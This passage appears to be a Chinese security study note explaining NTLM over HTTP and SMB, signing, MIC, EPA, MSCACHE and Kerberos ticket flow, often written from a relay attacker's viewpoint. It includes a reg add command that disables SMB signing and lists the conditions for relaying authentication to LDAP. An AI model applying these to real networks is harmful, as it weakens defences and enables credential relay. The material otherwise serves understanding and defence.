之所以解释这些步骤,是为了说明在现实中,从客户端或服务器的角度来看,交换的3条消息的结构并不重要。我们凭借对NTLM协议的了解,知道这些消息对应的是什么,但客户端和服务器都不关心。这些消息在微软文档中被描述为不透明的令牌。
这意味着这5个步骤完全独立于客户端的类型或服务器的类型。只要协议中有适当的位置,以允许从客户端到服务器以一种或另一种方式交换这种不透明的结构,它们就可以工作,而不管使用什么协议。
我们抓包分析 ntlm 的时候,就会看到 ntlm 是放在 GSS-API 里面
为啥这里会出现 GSSAPI 呢,SSPI 是 GSSAPI 的一个专有变体,进行了扩展并具有许多特定于 Windows 的数据类型。
SSPI 生成和接受的令牌大多与 GSS-API 兼容。所以这里出现 GSSAPI 只是为了兼容,我们可以不必理会。
可以直接从 NTLM SSP 开始看起。注册为 SSP 的一个好处就是,SSP 实现了了与安全有关的功能函数,那上层协议(比如 SMB)在进行身份认证等功能的时候,就可以不用考虑协议细节,只需要调用相关的函数即可。
而认证过程中的流量嵌入在上层协议里面。不像 kerbreos,既可以镶嵌在上层协议里面,也可以作为独立的应用层协议。ntlm 是只能镶嵌在上层协议里面,消息的传输依赖于使用 ntlm 的上层协议。比如镶嵌在 SMB 协议里,或镶嵌在 HTTP 协议。
**Integration with HTTP (MS-NTHT)(NTLM over HTTP)**
以 HTTP 为例
```
GET /index.html HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0
Accept: text/html
```
在这个例子中,必须的元素是HTTP行为(GET)、请求页面的路径(/index.html)、协议版本(HTTP/1.1)或Host头(Host: www.test.com)。
除此之外,添加其他的http报文也是可以的
正是利用这一特性,才能够将 NTLM 消息从客户端传输到服务器。客户端在一个名为 Authorization 的头中发送消息,服务器在一个名为 WWW-Authenticate 的头中发送消息。如果客户端试图访问一个需要认证的网站,服务器将通过添加 WWW-Authenticate 头来响应,并突出显示它支持的不同认证机制。对于 NTLM,它将简单地说 NTLM。
客户端知道需要 NTLM 认证,将发送授权头中的第一条消息,用 base64 编码,因为该消息不仅包含可打印字符。服务器将在 WWW-Authenticate 头中回应一个挑战,客户端将计算响应,并在授权头中发送。如果认证成功,服务器通常会返回一个 200 的返回码,表示一切顺利。
```
> GET /index.html HTTP/1.1
> Host: www.test.com
> User-Agent: Mozilla/5.0
> Accept: text/html
< HTTP/1.1 401 Unauthorized
< WWW-Authenticate: NTLM
< Content type: text/html
< Content-Length: 0
> GET /index.html HTTP/1.1
> Host: www.test.com
> User-Agent: Mozilla/5.0
> Accept: text/html
> Authorization: NTLM <NEGOTIATE in base 64>
< HTTP/1.1 401 Unauthorized
=> WWW-Authenticate: NTLM <CHALLENGE in base 64>
< Content type: text/html
< Content-Length: 0
> GET /index.html HTTP/1.1
> Host: www.test.com
> User-Agent: Mozilla/5.0
> Accept: text/html
> Authorization: NTLM <RESPONSE in base 64>
< HTTP/1,200 OKAY.
< WWW-Authenticate: NTLM
< Content type: text/html
< Content-Length: 0
< Connection: close
```
只要 TCP 会话是开放的,认证就会有效。然而,一旦会话关闭,服务器将不再拥有客户端的安全内容,就必须进行新的认证。这种情况经常会发生,由于微软的 SSO(单点登录)机制,这对用户来说往往是透明的。
更多内容: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ntht/f09cf6e1-529e-403b-a8a5-7368ee096a6a
**Integration with SMB (NTLM Over Server Message Block)**
它是SMB协议,用于访问网络共享,SMB协议的工作原理是使用命令。例如,有 `SMB_COM_OPEN` 、`SMB_COM_CLOSE` 或 `SMB_COM_READ` ,这些命令用于打开、关闭或读取文件。
SMB 还具有专用于配置 SMB 会话的命令,该命令为 `SMB_COM_SESSION_SETUP_ANDX` 。此命令中的两个字段专用于 NTLM 消息的内容。
- LM/LMv2 Authentication: OEMPassword
- NTLM/NTLMv2 authentication: UnicodePassword
从 SMB 数据包的示例可以看到,其中包含服务器对身份验证的响应
- https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=smbtorture.cap.gz
以上 2 个案例表明 NTLM 消息的内容与协议无关。它可以包含在任何支持它的协议中
更多内容: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/c083583f-1a8f-4afe-a742-6ee08ffeb8cf
---
#### Signing
Windows 下的 SSP 除了提供身份认证功能以外,还提供会话安全功能。
比如 Client 与 Server 建立了一个 Socket 连接后,可以使用 SSP 与 Server 进行身份认证,身份认证完以后,Client 与 Server 还可以利用 SSP 提供的会话安全功能为后续的数据包进行签名与加密,以防止数据包被中间人篡改、窃听。
SSP 提供的会话安全功能,是基于 session key 的。在 Client 与 Server 端进行了身份认证以后,Client 与 Server 端都能够同时得到一个用于会话安全功能的 session key。攻击者要想知道这个 session key,就必须要知道 Client 的原始密码,而对于 Credential Relay 的攻击场景,攻击者只是站在一个中间人的位置对 Credential 进行转发,是不可能知道客户端的原始密码的
攻击者在攻击一个开启了 Signing/Encryption 的服务器的时候,当认证完毕之后,使用一个客户端和服务端都知道的 session key 对后续所有的操作进行加密,攻击者由于没有 session key,也没法对内容进行加密解密,所以也就没办法进行 Relay, 最多只能将流量原封不动转发过去。
这个 key 是 sessionkey,需要使用用户 hash 去生成,攻击者没有用户 hash,所以没有 sessionkey, 也就是没办法加解密,这个时候签名也就起到了防御 Relay 的效果。
一般情况下,域控会默认开启,而 Windows 单机默认都不会开, 因为用于域控制器的 GPO 包含以下条目:
关闭签名验证的命令: Windows Server 系列中 RequireSecuritySignature 子键默认值为 1
```
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
```
关于 SMB 签名的更多信息请参考官方文档 : https://docs.microsoft.com/zh-cn/archive/blogs/josebda/the-basics-of-smb-signing-covering-both-smb1-and-smb2
**LDAP 签名**
对于 LDAP,还有三个级别:
- 禁用:这意味着不支持数据包签名。
- 协商签名:此选项表示计算机可以处理签名,并且如果与之通信的计算机也可以处理签名,则将对其进行签名。
- 必需:这最终表明不仅支持签名,而且必须对数据包进行签名才能使会话继续。
如您所见,中间级别的协商签名不同于 SMBv2 的情况,因为这一次,如果客户端和服务器能够对数据包进行签名,则它们将。而对于 SMBv2,只有在至少需要一个实体的情况下才对数据包进行签名。
与 SMB 的区别在于,在 Active Directory 域中,所有主机都具有 “Negotiated Signing” 设置。域控制器不需要签名。
对于域控制器, `ldapserverintegrity` 注册表项位于 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NTDS\Parameters` 配置单元中,根据级别可以为 0、1 或 2。默认情况下,它在域控制器上设置为 1。
对于客户端,此注册表项位于 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ldap`
对于客户端,它也设置为 1。由于所有客户端和域控制器都具有协商签名功能,因此默认情况下将对所有 LDAP 数据包进行签名。
与 SMB 不同,LDAP 中没有标志来指示是否对数据包进行签名。而是,LDAP 使用在 NTLM 协商中设置的标志。无需更多信息。在客户端和服务器均支持 LDAP 签名的情况下, `NEGOTIATE_SIGN` 将设置该标志并对数据包进行签名。
如果一方要求签名,而另一方不支持该签名,则该会话将根本不会开始。需要签名的一方将忽略未签名的数据包。
因此,现在我们了解到,与 SMB 相反,如果我们位于客户端和服务器之间,并且希望使用 LDAP 将身份验证中继到服务器,则需要两件事:
- 该服务器不能要求数据包签名,这是默认情况下,所有机器的情况下,
- 该客户端必须不设置 NEGOTIATE_SIGN 标志 1。如果他这样做,那么服务器将期望签名,并且由于我们不知道客户端的秘密,因此我们将无法对我们精心制作的 LDAP 数据包进行签名。
关于要求 2,有时客户端没有设置此标志,但是不幸的是,Windows SMB 客户端设置了该标志!默认情况下,不可能将 SMB 身份验证中继到 LDAP。
那么,为什么不只更改 NEGOTIATE_FLAG 标志并将其设置为 0 呢?这是因为 NTLM 消息中有 MIC
---
#### Negotiation
实际上,在 NTLM 消息中,除了质询和响应之外,还有其他信息可以交换。也有协商标志或协商标志。这些标志指示发送实体支持的内容。
此协商允许知道客户端和/服务器是否支持签名,并且在 NTLM 交换期间完成。
当客户端将此标志设置为 1 时,表示客户端支持签名。请注意,这并不意味着他一定会在他的数据包上签名。只是他有能力。
类似地,当服务器回复时,如果它支持签名,那么该标志也将设置为 1。
因此,该协商允许客户端和服务器两方中的每一方向对方指示是否可以签名数据包。对于某些协议,即使客户端和服务器支持签名,也不一定意味着将对数据包进行签名。
---
#### MIC
MIC 是仅在 NTLM 身份验证的最后一条消息(AUTHENTICATE 消息)中发送的签名。它考虑了 3 条消息。MIC 是使用 `HMAC_MD5` 函数计算的,它用作取决于客户端机密的密钥,称为 session key。
```
HMAC_MD5(Session key, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)
```
session key 取决于客户端的机密,因此攻击者无法重新计算MIC。
如果仅修改了这3条消息之一,则MIC将不再有效,因为这3条消息的串联将是不同的。因此,不能更改 `NEGOTIATE_SIGN` 示例中建议的标志。
攻击者删除 MIC,该怎么办?当然可以,因为 MIC 是可选的。
但还有另一个标志指示存在 MIC,即 msAvFlags。
它也出现在 NTLM 响应中,如果它是 0x00000002,它告诉服务器必须存在 MIC 。因此,如果服务器看不到 MIC,它将知道发生了什么事,它将终止身份验证。如果标志表明必须有 MIC,则必须有 MIC。
如果我们更改或删除 msAcFlags 标志将使 NTLMv2 哈希无效
MIC 保护 3 条消息的完整性,msAvFlags 保护 MIC 的存在,而 NTLMv2 哈希保护标志的存在。攻击者不知道用户的秘密,因此无法重新计算此哈希。
---
### EPA
`Extended Protection for Authentication`
攻击者很有可能从协议 A 检索 NTLM 消息,然后使用协议 B 将其发送回去。这就是我们已经提到的跨协议中继。
EPA 就是一种保护措施来应对这种攻击。这种保护的原理是将身份验证层与正在使用的协议绑定,即使存在的 TLS 层也将其绑定(例如 LDAPS 或 HTTPS)。通常的想法是,在最后一条 NTLMAUTHENTICATE 消息中,一条信息被放置在此处,并且攻击者无法对其进行修改。该信息指示所需的服务,并可能指示包含目标服务器证书的哈希值的另一信息。
TLS Binding 与 Service binding 这两个方案就是在原有的身份认证数据中加入一些其他的额外信息,这些额外的信息使得 Server 端可以免受 Relay 的攻击。
**Service Binding**
如果客户端希望向服务器进行身份验证以使用特定服务,则将在 NTLM 响应中添加标识该服务的信息。
这样,当合法服务器收到此身份验证时,它可以看到客户端请求的服务,并且如果它与实际请求的服务不同,则它将不同意提供该服务。
该方案会在原有 Windows SSPI 生成的 authentication token 中加入一段额外信息,这段额外的信息是目标服务的 SPN。
1. 攻击者通过某种方式触发 Client 与自己认证,Client 发送给 攻击者的凭据中带有 攻击者的 SPN(因为 Client 是在访问 攻击者),并且这个 SPN 受到了完整性保护(具体的完整性保护的方式依认证协议不同而不同),使得 攻击者无法删除、修改这个 SPN。(需要知道的一点是, NTLM 中也是会涉及到 SPN 的概念的)
2. 攻击者将凭据转发至 Server
3. Server 收到凭据后,检查凭据中的 SPN,发现 SPN 不是自己的而是 攻击者的,说明这个凭据并不是发给自己的(而是发给 攻击者的),所以认为遇到了 Credential Relay 攻击,认证将会失败。
由于服务名称在 NTLM 响应中,因此受 NtProofStr 响应保护,该响应是此信息,质询和其他信息(例如 msAvFlags)的 HMAC_MD5。它是用客户的秘密计算的。
**TLS Binding && Channel Binding**
该方案会在原有 Windows SSPI 生成的 authentication token 中加入一段额外信息,这段额外的信息被称为 Channel Binding Token(CBT)。
如果客户端要使用封装在 TLS 中的协议(例如 HTTPS,例如 LDAPS),它将与服务器建立 TLS 会话,并计算服务器证书哈希。此哈希称为 “通道绑定令牌” 或 CBT。计算完成后,客户端会将此哈希放入其 NTLM 响应中。然后,合法服务器将在身份验证结束时接收 NTLM 消息,读取提供的哈希,然后将其与证书的真实哈希进行比较。如果不同,则表示他不是 NTLM 交换的原始收件人。
它可以使 Server 端有能力知道其接收到的凭据到底是不是发给自己的(也就是有能力知道收到的凭据是不是被 Relay 过来的)。如果发现凭据不是发给自己的(也就是凭据是被 Relay 过来的),则拒收,则 攻击者尝试与 Server 进行身份认证的请求将会失败。
1. 攻击者通过某种方式使得 Client 与自己建立 TLS 连接,并且 Client 将 Credential(authentication token) 发送给攻击者。authentication token 中带有 CBT。 CBT 是基于 client 到 server 的这个 TLS 连接的一些属性所计算出来的。且这个 CBT 受到了完整性保护,使得攻击者无法删除、修改 CBT。具体的完整性保护的方式依认证协议的不同而不同。
2. 攻击者与一台开启了 TLS Binding 机制的 Server 建立 TLS 连接,将 authentication token 转发至 Server
3. Server 接收到 authentication token 后,会基于攻击者到 server 的这个 TLS 连接的一些属性计算出来一个 CBT,同时取出 攻击者转发过来的由 client 计算出来的 CBT进行对比。
4. 对比将会失败,因为 client 计算出来的 CBT 是基于 client --> 攻击者这个 TLS 连接的一些属性,而 server 计算出来的 CBT是基于 攻击者--> server 这个 TLS 连接的一些属性。 通过这个对比,Server 就会知道 攻击者转发过来的 authentication token 并不是发给自己的,所以认定这个凭据是被 relay 过来的,所以 攻击者与 server 的认证将会失败 。
由于有了这种保护,因此不再可能进行以下两种攻击:
1. 如果攻击者希望中继使用的协议从一个客户端的信息,而不一个 TLS 层的协议与一个 TLS 层(HTTP 到 LDAPS,例如),则攻击者将不能从目标服务器添加证书哈希进 NTLM 响应,因为它无法更新 NtProofStr。
2. 如果攻击者希望将带有 TLS 的协议中继到带有 TLS 的另一个协议(HTTPS 到 LDAPS),则在客户端和攻击者之间建立 TLS 会话时,攻击者将无法提供服务器证书,因为它不匹配攻击者的身份。因此,它将必须提供 “自制” 证书,以识别攻击者。然后,客户端将对该证书进行哈希处理,并且当攻击者将 NTLM 响应中继到合法服务器时,响应中的哈希将与真实证书的哈希不同,因此服务器将拒绝身份验证。
需要注意的是,如果你的服务端程序想要受到 EPA 的保护,则要求:
- 运行服务端的操作系统必须支持 EPA(Win7 及 Win 2018 R2 后自动支持,或者可以通过安装补丁的方式来添加支持)
- 你的服务端自身需要做修改,来接入 EPA
- 连接服务端的客户端所在的操作系统要支持 EPA 并且客户端需要做相应修改来发送 CBT 或 SPN
即,EPA 是操作系统提供的一些基础框架,它并不会自动保护服务器上的所有程序,只有那些使用了 EPA 的程序才会受到保护。
有不少服务端程序虽然支持 EPA,但是考虑到兼容性问题(比如客户端不支持 EPA),所以没有强制开启 EPA,LDAPS 就是这么一个例子。微软针对 CVE-2017-8563 的修复方式就是使 LDAP Server 支持 EPA,但是却没有默认强制 LDAP Server 必须要使用 EPA。
---
### LmCompatibilityLevel
什么时候用什么类型的 hash 呢?是由 LmCompatibilityLevel 来决定的
当服务器上有一个账号 admin 密码 123 的账户,但是你 `net use \\server "123" /user:admin` 却提示账号密码错误?
有可能就遇到了两边 LmCompatibilityLevel 不兼容的情况。
即,客户端发送的 hash 的类型与服务端所期待的类型不一样,服务端计算出来了与客户端不一样的 hash,导致用户名密码错误。
在 LmCompatibilityLevel 不兼容的情况下,你正常去连接的结果是验证失败,自然用 NTLM-Relay 的结果肯定也是验证失败。
LmCompatibilityLevel 的默认值,不同的操作系统,甚至不同的补丁版本,是不一样的。在多数情况下应该是兼容的。
---
## 域认证
域认证部分内容来自 <sup>[[浅学Windows认证](https://b404.xyz/2019/07/23/Study-Windows-Authentication/)]</sup><sup>、</sup><sup>[[彻底理解Windows认证 - 议题解读](https://payloads.online/archivers/2018-11-30/1)]</sup>
---
### MSCACHE
**MSCACHE 简介**
你的办公笔记本加了公司的域,你一直是使用域账号登陆这台机器。你尝试登陆时所输入的账号密码将由域控来进行验证,验证通过后你就能登陆这台笔记本。 但是你是否发现过,当你的笔记本处于断网状态的时候,你依然可以用域账号来登陆这台笔记本。也就是说,当这台机器根本连不上域控的时候,你也可以使用域账号来登陆这台机器,那这个时候,是谁来负责验证你输入的域账号密码是否正确呢? 就是 MSCACHE。
Mscash 是微软的一种散列算法,用于在登录成功后将缓存的域凭证存储在系统本地。缓存的凭证不会过期。域凭证被缓存在本地系统上,这样即使 DC 宕机,域成员也可以登录机器。值得注意的是,mscash hash 是不可 PTH 的
MSCACHE 中包含的内容
- 域用户的 mscache hash,或者叫 dcc hash,根据操作系统的版本不同,又分为 dcc1 hash 与 dcc2 hash。Vista 之前保存的是 dcc1, 之后保存的是 dcc2。 两种 hash 的生成算法不一样。这段 mscache hash 主要用于对用户输入的密码进行验证
- 域用户的授权信息,比如这个域用户是属于哪个域组的
- 授权信息主要用于在验证通过后来生成 access token。
- 一些其他的信息,比如 UPN,logon server 之类的
**工作原理**
当机器可以连上域控的时候,你用域账号去登陆这台机器,在登陆成功后(域控验证了你的身份后),系统会将你的凭据以及授权信息保存在注册表里面。默认是保存 10 个凭据(可以对这个值进行更改)。当被保存的凭据已经超过 10 个的话,新的凭据会覆盖掉老的凭据。
凭据被缓存在注册表里的这些用户,在机器连不上域控的时候也可以登陆这台机器(只能交互式登陆,比如控制台或远程桌面。远程桌面的时候要注意,不能使用带有 NLA 功能的 RDP 客户端,要用老的比如 XP 上带的 RDP 客户端),但是没有被缓存在注册表里的用户是无法登陆的。
MSCACHE 的保存位置默认只有 SYSTEM 权限可读
```
HKEY_LOCAL_MACHINE\SECURITY\Cache
```
---
### Kerberos
**学习资料**
- https://www.kerberos.org/software/tutorial.html
**Kerberos 协议**
Kerberos 是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。软件设计上采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证。可以用于防止窃听、防止重放攻击、保护数据完整性等场合,是一种应用对称密钥体制进行密钥管理的系统。支持 SSO。Kerberos 的扩展产品也使用公开密钥加密方法进行认证。
当有 N 个人使用该系统时,为确保在任意两个人之间进行秘密对话,系统至少保存有它与每个人的共享密钥,所需的最少会话密钥数为 N 个。
Kerberos 协议基于对称密码学,并需要一个值得信赖的第三方。Kerberos 协议的扩展可以为认证的某些阶段提供公钥密码学支持。
---
#### 简要概括认证过程
Kerberos 认证用于域环境中,它是一种基于票据(Ticket)的认证方式。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
客户端要访问服务器的资源,需要首先购买服务端认可的 ST 服务票据。也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场。但是这张票不能直接购买,需要一张 TGT 认购权证(Ticket Granting Ticket)。也就是说,客户端在买票之前必须先获得一张 TGT 认购权证。这张 TGT 认购权证和 ST 服务票据均由 KDC 发售。
他的整个认证过程涉及到三方:客户端、服务端和 KDC(Key Distribution Center)。在 Windows 域环境中,由 DC(域控)来作为 KDC。
Kerberos 认证过程如下:
1. client 向 kerberos 服务请求,希望获取访问 server 的权限。 kerberos 得到了这个消息,首先得判断 client 是否是可信赖的,也就是白名单黑名单的说法。这就是 AS 服务完成的工作,通过在 AD 中存储黑名单和白名单来区分 client。成功后,返回 AS 返回 TGT 给 client。
2. client 得到了 TGT 后,继续向 kerberos 请求,希望获取访问 server 的权限。kerberos 又得到了这个消息,这时候通过 client 消息中的 TGT,判断出了 client 拥有了这个权限,给了 client 访问 server 的权限 ticket。
3. client 得到 ticket 后,终于可以成功访问 server。这个 ticket 只是针对这个 server,其他 server 需要向 TGS 申请。
**Kerberos 认证所参与的角色**
- 访问服务的 Client
- 提供服务的 Server
- KDC(Key Distribution Center,密钥分发中心) = DC(Domain Controller)
其中 KDC 服务默认安装在一个域的域控中,而 Client 和 Server 为域内的用户或者是服务,如 HTTP 服务、SQL 服务。在 Kerberos 中 Client 是否有权限访问 Server 端的服务由 KDC 发放的票据来决定
**认证中涉及到的部分词汇**
- Authentication Server : 为 Client 生成 TGT 的服务。 AS 的作用是验证 Client 端的身份,验证通过就会给一个 TGT 票据给 Client
- AD(Account Database) : 活动目录,存储所有 Client 白名单,只有存在于白名单的 Client 才能申请到 AS 给的 TGT,类似于本机 SAM,在 DC 上
- DC(Domain Controller) : 域控
- KDC(Key Distribution Center) : 密钥分发中心,由域控担任
- KAS(Kerberos Authentication Service) : Kerberos 认证服务
- TGT(Ticket Granting Ticket) : 入场券,通过入场券能够获得票据,是一种临时凭证的存在
- TGS(Ticket Granting Server) : 为 client 生成某个服务的 ticket。 TGS 的作用是通过 AS 发送给 Client 的 TGT 换取访问 Server 端的 ST 票据。ST 也有资料称为 TGS Ticket,为了和 TGS 区分,此处使用 ST
- ST(Ticket) : 票据,是网络对象互相访问的凭证。
- Session Key : 会话密钥,只有 Client 和 TGS 知道
- krbtgt 账户:每个域控制器都有一个 krbtgt 的用户,是 KDC 的服务账户,用来创建票据授予服务(TGS)加密的密钥。
**获得认购权证**
首先,我们来看看客户端如何获得 `TGT 认购权证`。TGT 是 KDC 的 KAS 认证服务(Kerberos Authentication Service)发放的。
1. 当某个用户通过输入域帐号和密码试图登录某台主机的时候,本机的 Kerberos 服务会向 KDC 的 KAS 认证服务发送一个认证请求。该请求主要包括两部分内容,明文形式的用户名和用用户秘钥加密原始 `Authenticator` 后得到的加密后 `Authenticator`(Authenticator 是客户端和服务端可以用于验证对方身份的一个东西)。
2. 当 KDC 接收到请求之后,通过 AD 查询该用户名得到该用户的信息。通过查询得到的密码信息对 `Authenticator` 进行解密得到原始的 `Authenticator`。如果解密后的 `Authenticator` 和已知的 `Authenticator` 一致,则证明请求者提供的密码正确,即确定了登录者的真实身份。KAS 成功认证对方的身份之后,会先生成一个用用户密码加密后的用于确保该用户和 KDC 之间通信安全的 `Logon Session Key` 会话秘钥。KAS 接着为该用户创建 `TGT 认购权证`。`TGT` 主要包含两方面的内容:用户相关信息和原始 `Logon Session Key`,而整个 `TGT` 则通过 KDC 自己的密钥进行加密。最终,被不同密钥加密的 `Logon Session Key` 和 `TGT` 返回给客户端。
**获得 ST 服务票据**
经过上面的步骤,客户端获取了进入同域中其他主机入场券的 TGT 认购权证和 Logon Session Key,然后用自己的密钥解密 Logon Session Key 得到原始的 Logon Session Key。然后它会在本地缓存此 TGT 和原始 Logon Session Key。如果现在它需要访问某台服务器的资源,它就需要凭借这张 TGT 认购凭证向 KDC 购买相应的入场券。这里的入场券也有一个专有的名称——ST 服务票据(Service Ticket)。具体来说,ST 是通过 KDC 的另一个服务 TGS(Ticket Granting Service)出售的。
1. 客户端先向 TGS 发送一个 `ST 购买请求`,该请求主要包含如下的内容:客户端用户名、通过 `Logon Session Key` 加密的 `Authenticator`、`TGT` 和访问的服务器名(其实是服务)。
2. TGS 接收到请求之后,通过自己的秘钥解密 `TGT` 并得到原始 `Logon Session Key`,然后通过 `Logon Session Key` 解密 `Authenticator`,进而验证了对方的真实身份。TGS 完成对客户端的认证之后,会生成一个用 `Logon Session Key` 加密后的用于确保客户端-服务器之间通信安全的 `Service Session Key` 会话秘钥。然后为该客户端生成 `ST 服务票据`。`ST 服务票据`主要包含两方面的内容:客户端用户信息和原始 `Service Session Key`,整个 `ST` 通过服务器密码派生的秘钥进行加密。最终两个被加密的 `Service Session Key` 和 `ST` 回复给客户端。
**用 ST 服务票据双向认证**
1. 客户端接收到 TGS 回复后,通过缓存的 `Logon Session Key` 解密得到原始 `Service Session Key`,同时它也得到了进入服务器 `ST 服务票据`。该 `Serivce Session Key` 和 `ST 服务票据` 会被客户端缓存。客户端访问某服务器资源,将 `ST 服务票据` 和 `Service Session Key` 加密的 `Authenticator` 发送给服务端。
2. 服务器收到客户端发来的 `ST 服务票据`。但是,服务端如何确保客户端发来的 `ST 服务票据` 是通过 `TGS` 购买,而不是自己伪造的呢?这很好办,不要忘了 ST 是通过服务器自己密码派生的秘钥进行加密的。具体的操作过程是这样的,服务器在接收到请求之后,先通过自己密码派生的秘钥解密 `ST`,并从中提取 `Service Session Key`。然后通过提取出来的 `Service Session Key` 解密 `Authenticator`,进而验证了客户端的真实身份。实际上,到目前为止,服务端已经完成了对客户端的验证,但是,整个认证过程还没有结束。谈到认证,很多人都认为只是服务器对客户端的认证,实际上在大部分场合,我们需要的是双向验证(Mutual Authentication),即访问者和被访问者互相验证对方的身份。现在服务器已经可以确保客户端是它所声称的那么用户,客户端还没有确认它所访问的不是一个钓鱼服务呢。为了解决客户端对服务器的验证,服务端需要将解密后的 `Authenticator` 再次用 `Service Session Key` 进行加密,并发挥给客户端。客户端再用缓存的 `Service Session Key` 进行解密,如果和之前的内容完全一样,则可以证明自己正在访问的服务器和自己拥有相同的 `Service Session Key`。双向认证过后,开始了服务资源的访问。
---
#### 详细概括认证过程
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:
- The Authentication Service Exchange: Client 与 AS 的交互
- AS_REQ
- AS_REP
- The Ticket-Granting Service (TGS) Exchange: Client 与 TGS 的交互
- TGS_REQ
- TGS_REP
- The Client/Server Authentication Exchange: Client 与 Server 的交互
- AP_REQ
- AP_REP
整体过程如图
- **用户登录**
用户登录阶段,通常由用户(AA)输入[用户名][密码]信息,在客户端侧,用户输入的密码信息被一个单向 Hash 函数生成 Client 密钥,即 AA 的 NTLM Hash:
- **请求身份认证**
- **客户端向 AS 发送请求认证**
KRB-AS-REQ:Client 发送明文 `用户名 AA` 和 `Authenticator1` 信息到 KDC (Key Distribution Center)。Authenticator1 的内容为使用 Client 密码哈希加密的时间戳、Client ID、网络类型、加密类型等。
- **AS 确认客户端登录者身份**
KRB-AS-REP:AS 收到用户认证请求后,AS 根据请求中的 `用户名 AA` 信息,从数据库中查找用户名是否存在。如果 `用户名 AA` 存在,则从 KDC 中可以获取 `用户 AA` 的密码,使用单向函数为该密码生成一个 `Client 密钥`(即NTLM Hash)。
AS 生成随机字符串 `Client/TGS Session Key`,使用 `Client 密钥`(用户 AA 的密码 NTLM Hash)对 `Client/TGS Session Key` 加密得到 `sessionkey_as`;
再使用 TGS 密钥(krbtgt 用户的 NTLM Hash)对 `Client/TGS Session Key` 、 `Client Info` 和 `Timestamp` 加密,得到 `TGT`(TGT票据)。
将 `sessionkey_as` 和 `TGT` 一起返回给 Client。
Client 收到 AS 的响应消息后,利用自身的 `Client 密钥`(AA 的 NTLM Hash)对 `sessionkey_as` 解密,这样就获取到 `Client/TGS Session Key`。
- AS 的响应消息中有一条是属于 Client 的,有一条是 TGS 的。
- TGT 的到期时间为 8 小时,如果超过了 8 小时,还需要重新申请 TGT,不能之间进入下一步获取 Ticket。
- KDC 返回的 TGT 客户端是无法解密的,因为它没有 KDC Hash,如果有,我们就可以伪造黄金票据
- **请求授权访问服务**
- **客户端向 TGS 发送请求服务授权请求**
KRB-TGS-REQ:Client 收到 `sessionkey_as` 和 `TGT` 后,使用 `Client 密钥`(AA 的 NTLM Hash)对 `sessionkey_as` 解密就能得到 `Client/TGS Session Key`,然后使用 `Client/TGS Session Key` 对 Client Info 和 timestamp 加密得到 `Authenticator2`。
将 `Authenticator2`、`TGT`、`Service ID`(要请求的服务 ID)发送给 KDC 中的 TGS。
- 由于 TGT 是使用 `TGS 密钥`(krbtgt 的 NTLM Hash)加密的,Client 无法对 TGT 解密。
- 如果假设这个数据被中间人窃取到,也无法在短时间内破解,因为 KDC 会校验时间戳。
- **TGS 为 Client 响应服务授权票据**
TGS-REP:TGS 收到请求后,检查 KDC 数据库中是否存在所请求的服务(`Service ID`)。如果存在,TGS 使用 `TGS 密钥`(krbtgt 的 NTLM Hash)解密 TGT,得到 `Client/TGS Session Key`、timestamp、Client info;同时使用从 TGT 中解密得到的 `Client/TGS Session Key` 去解密 `Authenticator2`,得到 Client info 和 timestamp。 比对 `Authenticator2` 和 `TGT` 的解密内容以验证通过。
- TGS 比对 `Authenticator2` 包含的 `Client ID` 和 `TGT` 中的 `Client ID`
- 比较时间戳(误差范围在2分钟)
- 通过生命周期字段检查 TGT 是否过期
- 检查 `Authenticator2` 已经不再 TGS 的缓存中
- 若原始请求中的网络地址不为 NULL,比较 TGT 中的 IP 和请求的 IP
验证成功后,随机生成 Client 所请求服务的会话密钥 `Client/Server Session Key`;
使用 Server 密钥(即服务器计算机的NTLM Hash)对 `Client/Server Session Key`、`Client Info`(包含 Client ID)、`TimeStamp` 加密得到 `Client-To-Server Ticket`(也称为 ST 票据);
使用 `Client/TGS Session Key` 对 `Client/Server Session Key` 加密得到 `sessionkey_tgs`
最终将 `Client-To-Server Ticket`、`sessionkey_tgs` 返回给 Client。
- **请求服务**
- **Client 向 SS(Service Server)发送服务请求**
AP-REQ:Client 收到 `Client-To-Server Ticket`、`sessionkey_tgs` 之后,使用 `Client/TGS Session Key` 对 `sessionkey_tgs` 解密得到 `Client/Server Session Key`,然后使用 `Client/Server Session Key` 对 Client Info 和 timestamp 加密得到 `Authenticator3`
将 `Authenticator3` 和 `Client-To-Server Ticket` 发送给所请求服务的服务器(`Service Server`)。
- Ticket 客户端无法解密
- **Service Server 响应 Client**
AP-REP:Service Server 收到客户端的服务访问请求之后,利用 Server 密钥(Server 的 ntlm Hash)对 `Client-To-Server Ticket` 解密,提取出 `Client/Server SessionKey`、Client ID 等信息。
Service Server 使用 `Client/Server SessionKey` 对 `Authenticator3` 解密得到 Client ID 和 TimeStamp。
类似于 TGS,Service Server 也要做如下校验:
- Client ID;
- 时间戳;
- ticket 是否过期;
- 避免重放攻击,查看 Service Server 的 cache 是否包含 authenticator3;
- 网络地址比较
Service Server 发送最后的验证消息——用 `Client/Server SessionKey` 加密的 Timestamp 和 `Service ID` 数据包给 Client。
Client 收到之后,使用缓存的 `Client/Server SessionKey` 解密提取 Timestamp 信息,然后确认该信息与 Client 发送的 Authenticator3 中的 Timestamp 信息是否一致。验证通过后,在定义的通讯周期内,Client 可以使用票据请求 Service。
由此完成了 Client 和 Service Server 的双向认证。
- Kerberos 协议设计的思路就是用来在不受信的环境下进行认证的协议。
